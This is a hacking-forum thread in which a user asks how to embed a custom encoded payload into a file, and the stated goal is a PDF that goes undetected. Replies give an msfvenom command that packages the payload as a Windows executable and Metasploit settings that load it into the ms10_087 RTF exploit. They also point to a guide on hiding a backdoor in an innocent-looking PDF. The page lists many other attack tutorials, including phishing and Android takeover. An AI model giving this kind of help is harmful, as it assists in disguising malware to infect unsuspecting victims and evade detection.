Hi , I have created a custom encoded payload.exe , how can I embed it into a file using msfvenom??
Forum Thread: Using Custom Payloads with Files
- Hot
- Active
-
Forum Thread: When My Kali Linux Finishes Installing (It Is Ready to Boot), and When I Try to Boot It All I Get Is a Black Screen. 8 Replies
21 hrs ago -
Forum Thread: HACK ANDROID with KALI USING PORT FORWARDING(portmap.io) 12 Replies
1 wk ago -
Forum Thread: Hydra Syntax Issue Stops After 16 Attempts 2 Replies
4 wks ago -
Forum Thread: Hack Instagram Account Using BruteForce 208 Replies
4 wks ago -
Forum Thread: Metasploit reverse_tcp Handler Problem 47 Replies
2 mo ago -
Forum Thread: How to Train to Be an IT Security Professional (Ethical Hacker) 22 Replies
2 mo ago -
Metasploit Error: Handler Failed to Bind 41 Replies
3 mo ago -
Forum Thread: How to Hack Android Phone Using Same Wifi 21 Replies
3 mo ago -
How to: HACK Android Device with TermuX on Android | Part #1 - Over the Internet [Ultimate Guide] 177 Replies
3 mo ago -
How to: Crack Instagram Passwords Using Instainsane 36 Replies
3 mo ago -
Forum Thread: How to Hack an Android Device Remotely, to Gain Acces to Gmail, Facebook, Twitter and More 5 Replies
3 mo ago -
Forum Thread: How Many Hackers Have Played Watch_Dogs Game Before? 13 Replies
3 mo ago -
Forum Thread: How to Hack an Android Device with Only a Ip Adress 55 Replies
4 mo ago -
How to: Sign the APK File with Embedded Payload (The Ultimate Guide) 10 Replies
4 mo ago -
Forum Thread: How to Run and Install Kali Linux on a Chromebook 18 Replies
5 mo ago -
Forum Thread: How to Find Admin Panel Page of a Website? 13 Replies
6 mo ago -
Forum Thread: can i run kali lenux in windows 10 without reboting my computer 4 Replies
6 mo ago -
Forum Thread: How to Hack School Website 11 Replies
6 mo ago -
Forum Thread: Make a Phishing Page for Harvesting Credentials Yourself 8 Replies
6 mo ago -
Forum Thread: Creating an Completely Undetectable Executable in Under 15 Minutes! 38 Replies
7 mo ago
-
How To: Crack Shadow Hashes After Getting Root on a Linux System
-
How To: Exploit EternalBlue on Windows Server with Metasploit
-
How To: Crack SSH Private Key Passwords with John the Ripper
-
How To: Check if Your Wireless Network Adapter Supports Monitor Mode & Packet Injection
-
How To: Hack Android Using Kali (Remotely)
-
How To: Use Burp & FoxyProxy to Easily Switch Between Proxy Settings
-
How To: Scan for Vulnerabilities on Any Website Using Nikto
-
How To: Find Vulnerable Webcams Across the Globe Using Shodan
-
Tutorial: Create Wordlists with Crunch
-
How To: Find Passwords in Exposed Log Files with Google Dorks
-
How To: Create a Persistent Back Door in Android Using Kali Linux:
-
How To: Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel Spreadsheets
-
How To: Brute-Force FTP Credentials & Get Server Access
-
How To: Make Your Own Bad USB
-
How To: Enumerate SMB with Enum4linux & Smbclient
-
How To: Perform Advanced Man-in-the-Middle Attacks with Xerosploit
-
How To: Intercept Images from a Security Camera Using Wireshark
-
How To: Use Command Injection to Pop a Reverse Shell on a Web Server
-
Hack Like a Pro: Using the Nmap Scripting Engine (NSE) for Reconnaissance
-
How To: Top 10 Things to Do After Installing Kali Linux
4 Responses
Allot more information is needed to fully answer your question.
But....
Something like this should get things started....
root@Kali:~# msfvenom -p - /root/Desktop/some_file.txt -a x86 --platform windows -f exe -o /root/Desktop/test.exe
Explanation
-p payload "-" specifies custom payload
-a architecture
-- platform
-f format
-o output
It will all depend on what your trying to do, msfvenom might not be able to do what your looking for...
So I just read your exact same question on
https://null-byte.wonderhowto.com/how-to/hack-like-pro-exploit-ms-word-embed-listener-your-roommates-computer-0140868/
Are you trying to simply set a custom payload inside of an exploit? If so
msf exploit(ms10_087_rtf_pfragments_bof) > set payload generic/custom
Then set the option:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.
Set custom payload:
msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME /root/Desktop/some_file
Note: Payload will have to be compatible with the exploit
Thanks for replying. I have used a script to encod my payload . So now I have one on the desktop, the problem is that I want to embed it with pdf file to be undetectable
Encoded? How? Either way you can try following OTW's
https://null-byte.wonderhowto.com/how-to/hack-like-pro-embed-backdoor-connection-innocent-looking-pdf-0140942/
Just use your payload...
Share Your Thoughts